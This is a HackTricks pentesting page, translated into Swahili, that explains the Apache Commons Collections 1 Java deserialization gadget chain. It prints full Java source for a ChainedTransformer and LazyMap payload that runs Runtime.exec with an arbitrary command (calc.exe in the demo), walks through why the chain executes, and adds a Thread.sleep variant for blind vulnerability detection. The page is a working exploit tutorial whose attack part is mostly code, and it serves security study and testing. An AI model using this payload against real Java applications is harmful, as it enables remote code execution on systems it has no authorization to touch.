hacktricks/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md
2024-02-11 02:13:58 +00:00

9.8 KiB

Mzigo wa CommonsCollection1 - Java Transformers kwa Rutime exec() na Thread Sleep

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Java Transformers kwa Rutime exec()

Sehemu kadhaa unaweza kupata mzigo wa java deserialization ambao hutumia transformers kutoka kwa Apache common collections kama ifuatavyo:

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

Ikiwa hujui chochote kuhusu malipo ya kubadilisha java, inaweza kuwa ngumu kuelewa kwa nini nambari hii itatekeleza calc.

Kwanza kabisa, unahitaji kujua kwamba Transformer katika Java ni kitu ambacho hupokea darasa na kubadilisha kuwa kingine.
Pia ni muhimu kujua kwamba malipo yanayotekelezwa hapa ni sawa na:

Runtime.getRuntime().exec(new String[]{"calc.exe"});

Au zaidi ya hapo, kile ambacho kitatekelezwa mwishoni ni:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Jinsi

Basi, jinsi gani payload ya kwanza inalingana na hizo "rahisi" za mistari moja?

Kwanza kabisa, unaweza kugundua katika payload kwamba mlolongo (array) wa mabadiliko unatengenezwa:

String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Ikiwa unasoma nambari, utaona kwamba ikiwa kwa njia fulani unafunga mabadiliko ya safu unaweza kuweza kutekeleza amri za aina yoyote.

Kwa hivyo, vipi mabadiliko hayo hufungwa pamoja?

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

Katika sehemu ya mwisho ya payload unaweza kuona kwamba kifaa cha Map kinatengenezwa. Kisha, kazi ya decorate inatekelezwa kutoka kwa LazyMap na kifaa cha ramani na mabadilishaji yaliyofungwa. Kutoka kwa nambari ifuatayo unaweza kuona kwamba hii itasababisha mabadilishaji yaliyofungwa kuwekwa ndani ya sifa ya lazyMap.factory:

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

Na kisha hatua kuu inatekelezwa: lazyMap.get("kitu chochote");

Hii ni nambari ya kazi ya get:

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

Na hii ndio nambari ya kazi ya transform

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

Kwa hiyo, kumbuka kwamba ndani ya kiwanda tulihifadhi chainedTransformer na ndani ya kazi ya transform tunapitia transformers zote zilizounganishwa na kuzitekeleza moja baada ya nyingine. Jambo la kushangaza ni kwamba kila transformer inatumia object kama kuingiza na object ndio matokeo kutoka kwa transformer iliyotekelezwa mwisho. Kwa hivyo, transformers zote zinafungwa kutekeleza mzigo mbaya.

Muhtasari

Mwishowe, kutokana na jinsi lazyMap inavyosimamia transformers zilizounganishwa ndani ya kazi ya kupata, ni kama tunatekeleza nambari ifuatayo:

Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

Note jinsi value ni kuingiza ya kila ubadilishaji na matokeo ya ubadilishaji uliopita, kuruhusu utekelezaji wa mistari moja:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Tafadhali kumbuka kwamba hapa ilielezewa vifaa vilivyotumiwa kwa mzigo wa ComonsCollections1. Lakini haijafafanuliwa jinsi hii yote inaanza kutekelezwa. Unaweza kuona hapa kwamba ysoserial, ili kutekeleza mzigo huu, hutumia kitu cha AnnotationInvocationHandler kwa sababu wakati kitu hiki kinapopata deserialized, ita itaamsha kazi ya payload.get() ambayo ita utekeleza mzigo mzima.

Java Thread Sleep

Mzigo huu unaweza kuwa wa manufaa kwa kutambua ikiwa wavuti ina kasoro kwa sababu itatekeleza usingizi ikiwa ina.

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

Vifaa Zaidi

Unaweza kupata vifaa zaidi hapa: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!